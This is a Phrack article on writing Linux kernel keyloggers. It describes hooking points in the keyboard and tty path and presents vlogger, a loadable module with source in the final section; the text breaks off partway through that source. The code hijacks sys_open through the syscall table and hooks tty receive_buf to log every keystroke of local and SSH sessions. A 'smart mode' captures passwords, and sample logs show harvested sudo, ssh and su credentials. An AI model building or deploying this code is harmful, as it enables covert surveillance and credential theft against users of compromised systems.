1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651 |
- ==Phrack Inc.==
- Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12
- |=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
- |=-----------------------------------------------------------------------=|
- |=------------------------=[ rd <rd@thc.org> ]=--------------------------=|
- |=------------------------=[ June 19th, 2002 ]=--------------------------=|
- --[ Contents
- 1 - Introduction
- 2 - How Linux keyboard driver work
- 3 - Kernel based keylogger approaches
- 3.1 - Interrupt handler
- 3.2 - Function hijacking
- 3.2.1 - handle_scancode
- 3.2.2 - put_queue
- 3.2.3 - receive_buf
- 3.2.4 - tty_read
- 3.2.5 - sys_read/sys_write
- 4 - vlogger
- 4.1 - The syscall/tty approach
- 4.2 - Features
- 4.3 - How to use
- 5 - Greets
- 6 - References
- 7 - Keylogger source
- --[ 1 - Introduction
- This article is divided into two parts. The first part of the paper
- gives an overview on how the linux keyboard driver work, and discusses
- methods that can be used to create a kernel based keylogger. This part
- will be useful for those who want to write a kernel based keylogger, or to
- write their own keyboard driver (for supporting input of non-supported
- language in linux environment, ...) or to program taking advantage of many
- features in the Linux keyboard driver.
- The second part presents detail of vlogger, a smart kernel based linux
- keylogger, and how to use it. Keylogger is a very interesting code being
- used widely in honeypots, hacked systems, ... by white and black hats. As
- most of us known, besides user space keyloggers (such as iob, uberkey,
- unixkeylogger, ...), there are some kernel based keyloggers. The earliest
- kernel based keylogger is linspy of halflife which was published in Phrack
- 50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based
- Keylogger' paper by mercenary (see [7]) that I found when was writing this
- paper. The common method of those kernel based keyloggers using is to log
- user keystrokes by intercepting sys_read or sys_write system call.
- However, this approach is quite unstable and slowing down the whole system
- noticeably because sys_read (or sys_write) is the generic read/write
- function of the system; sys_read is called whenever a process wants to read
- something from devices (such as keyboard, file, serial port, ...). In
- vlogger, I used a better way to implement it that hijacks the tty buffer
- processing function.
- The reader is supposed to possess the knowledge on Linux Loadable Kernel
- Module. Articles [1] and [2] are recommended to read before further
- reading.
- --[ 2 - How Linux keyboard driver work
- Lets take a look at below figure to know how user inputs from console
- keyboard are processed:
- _____________ _________ _________
- / \ put_queue| |receive_buf| |tty_read
- /handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
- \ / | | |buffer |
- \_____________/ |_________| |_________|
- _________ ____________
- | |sys_read| |
- --->|/dev/ttyX|------->|user process|
- | | | |
- |_________| |____________|
- Figure 1
- First, when you press a key on the keyboard, the keyboard will send
- corresponding scancodes to keyboard driver. A single key press can produce
- a sequence of up to six scancodes.
- The handle_scancode() function in the keyboard driver parses the stream
- of scancodes and converts it into a series of key press and key release
- events called keycode by using a translation-table via kbd_translate()
- function. Each key is provided with a unique keycode k in the range 1-127.
- Pressing key k produces keycode k, while releasing it produces keycode
- k+128.
- For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
- Releasing 'a' produces keycode 158 (128+30).
- Next, keycodes are converted to key symbols by looking them up on the
- appropriate keymap. This is a quite complex process. There are eight
- possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,
- ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers
- and locks determines the keymap used.
- After the above handling, the obtained characters are put into the raw
- tty queue - tty_flip_buffer.
- In the tty line discipline, receive_buf() function is called periodically
- to get characters from tty_flip_buffer then put them into tty read queue.
- When user process want to get user input, it calls read() function on
- stdin of the process. sys_read() function will calls read() function
- defined in file_operations structure (which is pointed to tty_read) of
- corresponding tty (ex /dev/tty0) to read input characters and return to the
- process.
- The keyboard driver can be in one of 4 modes:
- - scancode (RAW MODE): the application gets scancodes for input.
- It is used by applications that implement their own keyboard
- driver (ex: X11)
- - keycode (MEDIUMRAW MODE): the application gets information on
- which keys (identified by their keycodes) get pressed and
- released.
- - ASCII (XLATE MODE): the application effectively gets the
- characters as defined by the keymap, using an 8-bit encoding.
- - Unicode (UNICODE MODE): this mode only differs from the ASCII
- mode by allowing the user to compose UTF8 unicode characters by
- their decimal value, using Ascii_0 to Ascii_9, or their
- hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can
- be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol,
- where each X is an hexadecimal digit).
- Those modes influence what type of data that applications will get as
- keyboard input. For more details on scancode, keycode and keymaps, please
- read [3].
- --[ 3 - Kernel based keylogger approaches
- We can implement a kernel based keylogger in two ways by writing our own
- keyboard interrupt handler or hijacking one of input processing functions.
- ----[ 3.1 - Interrupt handler
- To log keystrokes, we will use our own keyboard interrupt handler. Under
- Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When
- receives a keyboard interrupt, our own keyboard interrupt handler read the
- scancode and keyboard status. Keyboard events can be read and written via
- port 0x60(Keyboard data register) and 0x64(Keyboard status register).
- /* below code is intel specific */
- #define KEYBOARD_IRQ 1
- #define KBD_STATUS_REG 0x64
- #define KBD_CNTL_REG 0x64
- #define KBD_DATA_REG 0x60
- #define kbd_read_input() inb(KBD_DATA_REG)
- #define kbd_read_status() inb(KBD_STATUS_REG)
- #define kbd_write_output(val) outb(val, KBD_DATA_REG)
- #define kbd_write_command(val) outb(val, KBD_CNTL_REG)
- /* register our own IRQ handler */
- request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);
- In my_keyboard_irq_handler():
- scancode = kbd_read_input();
- key_status = kbd_read_status();
- log_scancode(scancode);
- This method is platform dependent. So it won't be portable among
- platforms. And you have to be very careful with your interrupt handler if
- you don't want to crash your box ;)
- ----[ 3.2 - Function hijacking
- Based on the Figure 1, we can implement our keylogger to log user inputs
- by hijacking one of handle_scancode(), put_queue(), receive_buf(),
- tty_read() and sys_read() functions. Note that we can't intercept
- tty_insert_flip_char() function because it is an INLINE function.
- ------[ 3.2.1 - handle_scancode
- This is the entry function of the keyboard driver (see keyboard.c). It
- handles scancodes which are received from keyboard.
- # /usr/src/linux/drives/char/keyboard.c
- void handle_scancode(unsigned char scancode, int down);
- We can replace original handle_scancode() function with our own to logs
- all scancodes. But handle_scancode() function is not a global and exported
- function. So to do this, we can use kernel function hijacking technique
- introduced by Silvio (see [5]).
- /* below is a code snippet written by Plasmoid */
- static struct semaphore hs_sem, log_sem;
- static int logging=1;
- #define CODESIZE 7
- static char hs_code[CODESIZE];
- static char hs_jump[CODESIZE] =
- "\xb8\x00\x00\x00\x00" /* movl $0,%eax */
- "\xff\xe0" /* jmp *%eax */
- ;
- void (*handle_scancode) (unsigned char, int) =
- (void (*)(unsigned char, int)) HS_ADDRESS;
- void _handle_scancode(unsigned char scancode, int keydown)
- {
- if (logging && keydown)
- log_scancode(scancode, LOGFILE);
-
- /*
- * Restore first bytes of the original handle_scancode code. Call
- * the restored function and re-restore the jump code. Code is
- * protected by semaphore hs_sem, we only want one CPU in here at a
- * time.
- */
- down(&hs_sem);
-
- memcpy(handle_scancode, hs_code, CODESIZE);
- handle_scancode(scancode, keydown);
- memcpy(handle_scancode, hs_jump, CODESIZE);
-
- up(&hs_sem);
- }
- HS_ADDRESS is set by the Makefile executing this command
- HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
- Similar to method presented in 3.1, the advantage of this method is the
- ability to log keystrokes under X and the console, no matter if a tty is
- invoked or not. And you will know exactly what key is pressed on the
- keyboard (including special keys such as Control, Alt, Shift, Print Screen,
- ...). But this method is platform dependent and won't be portable among
- platforms. This method also can't log keystroke of remote sessions and is
- quite complex for building an advance logger.
- ------[ 3.2.2 - put_queue
- This function is called by handle_scancode() function to put characters
- into tty_queue.
- # /usr/src/linux/drives/char/keyboard.c
- void put_queue(int ch);
-
- To intercept this function, we can use the above technique as in section
- (3.2.1).
- ------[ 3.2.3 - receive_buf
- receive_buf() function is called by the low-level tty driver to send
- characters received by the hardware to the line discipline for processing.
- # /usr/src/linux/drivers/char/n_tty.c */
- static void n_tty_receive_buf(struct tty_struct *tty, const
- unsigned char *cp, char *fp, int count)
- cp is a pointer to the buffer of input character received by the device.
- fp is a pointer to a pointer of flag bytes which indicate whether a
- character was received with a parity error, etc.
- Lets take a deeper look into tty structures
- # /usr/include/linux/tty.h
- struct tty_struct {
- int magic;
- struct tty_driver driver;
- struct tty_ldisc ldisc;
- struct termios *termios, *termios_locked;
- ...
- }
- # /usr/include/linux/tty_ldisc.h
- struct tty_ldisc {
- int magic;
- char *name;
- ...
- void (*receive_buf)(struct tty_struct *,
- const unsigned char *cp, char *fp, int count);
- int (*receive_room)(struct tty_struct *);
- void (*write_wakeup)(struct tty_struct *);
- };
- To intercept this function, we can save the original tty receive_buf()
- function then set ldisc.receive_buf to our own new_receive_buf() function
- in order to logging user inputs.
- Ex: to log inputs on the tty0
- int fd = open("/dev/tty0", O_RDONLY, 0);
- struct file *file = fget(fd);
- struct tty_struct *tty = file->private_data;
- old_receive_buf = tty->ldisc.receive_buf;
- tty->ldisc.receive_buf = new_receive_buf;
- void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
- char *fp, int count)
- {
- logging(tty, cp, count); //log inputs
- /* call the original receive_buf */
- (*old_receive_buf)(tty, cp, fp, count);
- }
- ------[ 3.2.4 - tty_read
- This function is called when a process wants to read input characters
- from a tty via sys_read() function.
- # /usr/src/linux/drives/char/tty_io.c
- static ssize_t tty_read(struct file * file, char * buf, size_t count,
- loff_t *ppos)
- static struct file_operations tty_fops = {
- llseek: tty_lseek,
- read: tty_read,
- write: tty_write,
- poll: tty_poll,
- ioctl: tty_ioctl,
- open: tty_open,
- release: tty_release,
- fasync: tty_fasync,
- };
- To log inputs on the tty0:
- int fd = open("/dev/tty0", O_RDONLY, 0);
- struct file *file = fget(fd);
- old_tty_read = file->f_op->read;
- file->f_op->read = new_tty_read;
- ------[ 3.2.5 - sys_read/sys_write
- We will intercept sys_read/sys_write system calls to redirect it to our
- own code which logs the content of the read/write calls. This method was
- presented by halflife in Phrack 50 (see [4]). I highly recommend reading
- that paper and a great article written by pragmatic called "Complete Linux
- Loadable Kernel Modules" (see [2]).
- The code to intercept sys_read/sys_write will be something like this:
- extern void *sys_call_table[];
- original_sys_read = sys_call_table[__NR_read];
- sys_call_table[__NR_read] = new_sys_read;
- --[ 4 - vlogger
- This part will introduce my kernel keylogger which is used method
- described in section 3.2.3 to acquire more abilities than common keyloggers
- used sys_read/sys_write systemcall replacement approach. I have tested the
- code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and
- 2.4.18.
- ----[ 4.1 - The syscall/tty approach
- To logging both local (logged from console) and remote sessions, I chose
- the method of intercepting receive_buf() function (see 3.2.3).
- In the kernel, tty_struct and tty_queue structures are dynamically
- allocated only when the tty is open. Thus, we also have to intercept
- sys_open syscall to dynamically hooking the receive_buf() function of each
- tty or pty when it's invoked.
- // to intercept open syscall
- original_sys_open = sys_call_table[__NR_open];
- sys_call_table[__NR_open] = new_sys_open;
- // new_sys_open()
- asmlinkage int new_sys_open(const char *filename, int flags, int mode)
- {
- ...
- // call the original_sys_open
- ret = (*original_sys_open)(filename, flags, mode);
-
- if (ret >= 0) {
- struct tty_struct * tty;
- ...
- file = fget(ret);
- tty = file->private_data;
- if (tty != NULL &&
- ...
- tty->ldisc.receive_buf != new_receive_buf) {
- ...
- // save the old receive_buf
- old_receive_buf = tty->ldisc.receive_buf;
- ...
- /*
- * init to intercept receive_buf of this tty
- * tty->ldisc.receive_buf = new_receive_buf;
- */
- init_tty(tty, TTY_INDEX(tty));
- }
- ...
- }
- // our new receive_buf() function
- void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
- char *fp, int count)
- {
- if (!tty->real_raw && !tty->raw) // ignore raw mode
- // call our logging function to log user inputs
- vlogger_process(tty, cp, count);
- // call the original receive_buf
- (*old_receive_buf)(tty, cp, fp, count);
- }
- ----[ 4.2 - Features
- - Logs both local and remote sessions (via tty & pts)
- - Separate logging for each tty/session. Each tty has their own logging
- buffer.
- - Nearly support all special chars such as arrow keys (left, right, up,
- down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
- Home, Page Up, Page Down, BackSpace, ...
- - Support some line editing keys included CTRL-U and BackSpace.
- - Timestamps logging, timezone supported (ripped off some codes from
- libc).
- - Multiple logging modes
- o dumb mode: logs all keystrokes
- o smart mode: detects password prompt automatically to log
- user/password only. I used the similar technique presented in
- "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
- Designer and Dug Song (see [6]). When the application turns input
- echoing off, we assume that it is for entering a password.
- o normal mode: disable logging
- You can switch between logging modes by using a magic password.
- #define VK_TOGLE_CHAR 29 // CTRL-]
- #define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS
- // then press VK_TOGLE_CHAR key
- ----[ 4.3 - How to use
- Change the following options
- // directory to store log files
- #define LOG_DIR "/tmp/log"
- // your local timezone
- #define TIMEZONE 7*60*60 // GMT+7
- // your magic password
- #define MAGIC_PASS "31337"
- Below is how the log file looks like:
- [root@localhost log]# ls -l
- total 60
- -rw------- 1 root root 633 Jun 19 20:59 pass.log
- -rw------- 1 root root 37593 Jun 19 18:51 pts11
- -rw------- 1 root root 56 Jun 19 19:00 pts20
- -rw------- 1 root root 746 Jun 19 20:06 pts26
- -rw------- 1 root root 116 Jun 19 19:57 pts29
- -rw------- 1 root root 3219 Jun 19 21:30 tty1
- -rw------- 1 root root 18028 Jun 19 20:54 tty2
- ---in dumb mode
- [root@localhost log]# head tty2 // local session
- <19/06/2002-20:53:47 uid=501 bash> pwd
- <19/06/2002-20:53:51 uid=501 bash> uname -a
- <19/06/2002-20:53:53 uid=501 bash> lsmod
- <19/06/2002-20:53:56 uid=501 bash> pwd
- <19/06/2002-20:54:05 uid=501 bash> cd /var/log
- <19/06/2002-20:54:13 uid=501 bash> tail messages
- <19/06/2002-20:54:21 uid=501 bash> cd ~
- <19/06/2002-20:54:22 uid=501 bash> ls
- <19/06/2002-20:54:29 uid=501 bash> tty
- <19/06/2002-20:54:29 uid=501 bash> [UP]
- [root@localhost log]# tail pts11 // remote session
- <19/06/2002-18:48:27 uid=0 bash> cd new
- <19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
- <19/06/2002-18:48:21 uid=0 bash> lsmod
- <19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
- <19/06/2002-18:48:28 uid=0 bash> ls -l
- <19/06/2002-18:48:30 uid=0 bash> tail pts11
- <19/06/2002-18:48:38 uid=0 bash> [UP] | more
- <19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
- <19/06/2002-18:50:48 uid=0 vi> :q
- <19/06/2002-18:51:14 uid=0 bash> rmmod vlogger
- ---in smart mode
- [root@localhost log]# cat pass.log
- [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
- USER/CMD sudo traceroute yahoo.com
- PASS 5hgt6d
- PASS
- [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
- USER/CMD ssh guest@host.com
- PASS guest
- [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
- USER/CMD open ftp.ilog.fr
- USER Anonymous
- PASS heh@heh
- [19/06/2002-20:59:54 tty=pts/29 uid=504 su]
- USER/CMD su -
- PASS asdf1234
- Please check http://www.thc.org/ for update on the new version
- of this tool.
- --[ 5 - Greets
- Thanks to plasmoid, skyper for your very useful comments
- Greets to THC, vnsecurity and all friends
- Finally, thanks to mr. thang for english corrections
- --[ 6 - References
- [1] Linux Kernel Module Programming
- http://www.tldp.org/LDP/lkmpg/
- [2] Complete Linux Loadable Kernel Modules - Pragmatic
- http://www.thc.org/papers/LKM_HACKING.html
- [3] The Linux keyboard driver - Andries Brouwer
- http://www.linuxjournal.com/lj-issues/issue14/1080.html
- [4] Abuse of the Linux Kernel for Fun and Profit - Halflife
- http://www.phrack.com/phrack/50/P50-05
- [5] Kernel function hijacking - Silvio Cesare
- http://www.big.net.au/~silvio/kernel-hijack.txt
- [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
- http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
- [7] Kernel Based Keylogger - Mercenary
- http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt
- --[ 7 - Keylogger sources
- <++> vlogger/Makefile
- #
- # vlogger 1.0 by rd
- #
- # LOCAL_ONLY logging local session only. Doesn't intercept
- # sys_open system call
- # DEBUG Enable debug. Turn on this options will slow
- # down your system
- #
- KERNELDIR =/usr/src/linux
- include $(KERNELDIR)/.config
- MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
- MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
- CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
- -Wstrict-prototypes -fomit-frame-pointer -pipe \
- -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
- -malign-functions=2
- all : vlogger.o
- vlogger.o: vlogger.c
- $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
- clean:
- rm -f *.o
- <-->
- <++> vlogger/vlogger.c
- /*
- * vlogger 1.0
- *
- * Copyright (C) 2002 rd <rd@vnsecurity.net>
- *
- * Please check http://www.thc.org/ for update
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * General Public License for more details.
- *
- * Greets to THC & vnsecurity
- *
- */
- #define __KERNEL_SYSCALLS__
- #include <linux/version.h>
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/smp_lock.h>
- #include <linux/sched.h>
- #include <linux/unistd.h>
- #include <linux/string.h>
- #include <linux/file.h>
- #include <asm/uaccess.h>
- #include <linux/proc_fs.h>
- #include <asm/errno.h>
- #include <asm/io.h>
- #ifndef KERNEL_VERSION
- #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
- #endif
- #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
- MODULE_LICENSE("GPL");
- MODULE_AUTHOR("rd@vnsecurity.net");
- #endif
- #define MODULE_NAME "vlogger "
- #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"
- #ifdef DEBUG
- #define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
- #else
- #define DPRINT(format, args...)
- #endif
- #define N_TTY_NAME "tty"
- #define N_PTS_NAME "pts"
- #define MAX_TTY_CON 8
- #define MAX_PTS_CON 256
- #define LOG_DIR "/tmp/log"
- #define PASS_LOG LOG_DIR "/pass.log"
- #define TIMEZONE 7*60*60 // GMT+7
- #define ESC_CHAR 27
- #define BACK_SPACE_CHAR1 127 // local
- #define BACK_SPACE_CHAR2 8 // remote
- #define VK_TOGLE_CHAR 29 // CTRL-]
- #define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
- // VK_TOGLE_CHAR
- #define VK_NORMAL 0
- #define VK_DUMBMODE 1
- #define VK_SMARTMODE 2
- #define DEFAULT_MODE VK_DUMBMODE
- #define MAX_BUFFER 256
- #define MAX_SPECIAL_CHAR_SZ 12
- #define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
- + (tty)->driver.name_base
- #define TTY_INDEX(tty) tty->driver.type == \
- TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
- TTY_NUMBER(tty):TTY_NUMBER(tty)
- #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
- #define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
- buf, count)
- #define TTY_NAME(tty) (tty->driver.type == \
- TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
- tty->driver.type == TTY_DRIVER_TYPE_PTY && \
- tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
- #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
- #define END_KMEM set_fs(old_fs); }
- extern void *sys_call_table[];
- int errno;
- struct tlogger {
- struct tty_struct *tty;
- char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
- int lastpos;
- int status;
- int pass;
- };
- struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
- void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
- char *, int);
- asmlinkage int (*original_sys_open)(const char *, int, int);
- int vlogger_mode = DEFAULT_MODE;
- /* Prototypes */
- static inline void init_tty(struct tty_struct *, int);
- /*
- static char *_tty_make_name(struct tty_struct *tty,
- const char *name, char *buf)
- {
- int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
- if (!tty)
- strcpy(buf, "NULL tty");
- else
- sprintf(buf, name,
- idx + tty->driver.name_base);
- return buf;
- }
- char *tty_name(struct tty_struct *tty, char *buf)
- {
- return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
- }
- */
- #define SECS_PER_HOUR (60 * 60)
- #define SECS_PER_DAY (SECS_PER_HOUR * 24)
- #define isleap(year) \
- ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
- #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
- #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
- struct vtm {
- int tm_sec;
- int tm_min;
- int tm_hour;
- int tm_mday;
- int tm_mon;
- int tm_year;
- };
- /*
- * Convert from epoch to date
- */
-
- int epoch2time (const time_t *t, long int offset, struct vtm *tp)
- {
- static const unsigned short int mon_yday[2][13] = {
- /* Normal years. */
- { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
- /* Leap years. */
- { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
- };
- long int days, rem, y;
- const unsigned short int *ip;
- days = *t / SECS_PER_DAY;
- rem = *t % SECS_PER_DAY;
- rem += offset;
- while (rem < 0) {
- rem += SECS_PER_DAY;
- --days;
- }
- while (rem >= SECS_PER_DAY) {
- rem -= SECS_PER_DAY;
- ++days;
- }
- tp->tm_hour = rem / SECS_PER_HOUR;
- rem %= SECS_PER_HOUR;
- tp->tm_min = rem / 60;
- tp->tm_sec = rem % 60;
- y = 1970;
- while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
- long int yg = y + days / 365 - (days % 365 < 0);
- days -= ((yg - y) * 365
- + LEAPS_THRU_END_OF (yg - 1)
- - LEAPS_THRU_END_OF (y - 1));
- y = yg;
- }
- tp->tm_year = y - 1900;
- if (tp->tm_year != y - 1900)
- return 0;
- ip = mon_yday[isleap(y)];
- for (y = 11; days < (long int) ip[y]; --y)
- continue;
- days -= ip[y];
- tp->tm_mon = y;
- tp->tm_mday = days + 1;
- return 1;
- }
- /*
- * Get current date & time
- */
- void get_time (char *date_time)
- {
- struct timeval tv;
- time_t t;
- struct vtm tm;
-
- do_gettimeofday(&tv);
- t = (time_t)tv.tv_sec;
-
- epoch2time(&t, TIMEZONE, &tm);
- sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
- tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
- tm.tm_sec);
- }
- /*
- * Get task structure from pgrp id
- */
- inline struct task_struct *get_task(pid_t pgrp)
- {
- struct task_struct *task = current;
- do {
- if (task->pgrp == pgrp) {
- return task;
- }
- task = task->next_task;
- } while (task != current);
- return NULL;
- }
- #define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
- #define WRITABLE(f) (f->f_op && f->f_op->write)
- int write_to_file(char *logfile, char *buf, int size)
- {
- int ret = 0;
- struct file *f = NULL;
- lock_kernel();
- BEGIN_KMEM;
- f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
- if (IS_ERR(f)) {
- DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
- ret = -1;
- } else {
- if (WRITABLE(f))
- _write(f, buf, size);
- else {
- DPRINT("%s does not have a write method\n",
- logfile);
- ret = -1;
- }
-
- if ((ret = filp_close(f,NULL)))
- DPRINT("Error %d closing %s\n", -ret, logfile);
- }
- END_KMEM;
- unlock_kernel();
- return ret;
- }
- #define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
- #define END_ROOT current->fsuid = saved_fsuid; }
- /*
- * Logging keystrokes
- */
- void logging(struct tty_struct *tty, struct tlogger *tmp, int cont)
- {
- int i;
- char logfile[256];
- char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
- char date_time[24];
- struct task_struct *task;
- if (vlogger_mode == VK_NORMAL)
- return;
- if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
- return;
-
- task = get_task(tty->pgrp);
-
- for (i=0; i<tmp->lastpos; i++)
- if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
- if (!cont)
- tmp->buf[tmp->lastpos++] = 0x0A;
-
- tmp->buf[tmp->lastpos] = 0;
- if (vlogger_mode == VK_DUMBMODE) {
- snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
- LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
- BEGIN_ROOT
- if (!tmp->status) {
- get_time(date_time);
- if (task)
- snprintf(loginfo, sizeof(loginfo)-1,
- "<%s uid=%d %s> %s", date_time,
- task->uid, task->comm, tmp->buf);
- else
- snprintf(loginfo, sizeof(loginfo)-1,
- "<%s> %s", date_time, tmp->buf);
-
- write_to_file(logfile, loginfo, strlen(loginfo));
- } else {
- write_to_file(logfile, tmp->buf, tmp->lastpos);
- }
- END_ROOT
- #ifdef DEBUG
- if (task)
- DPRINT("%s/%d uid=%d %s: %s",
- TTY_NAME(tty), TTY_NUMBER(tty),
- task->uid, task->comm, tmp->buf);
- else
- DPRINT("%s", tmp->buf);
- #endif
- tmp->status = cont;
-
- } else {
- /*
- * Logging USER/CMD and PASS in SMART_MODE
- */
- BEGIN_ROOT
- if (!tmp->pass) {
- get_time(date_time);
- if (task)
- snprintf(loginfo, sizeof(loginfo)-1,
- "\n[%s tty=%s/%d uid=%d %s]\n"
- "USER/CMD %s", date_time,
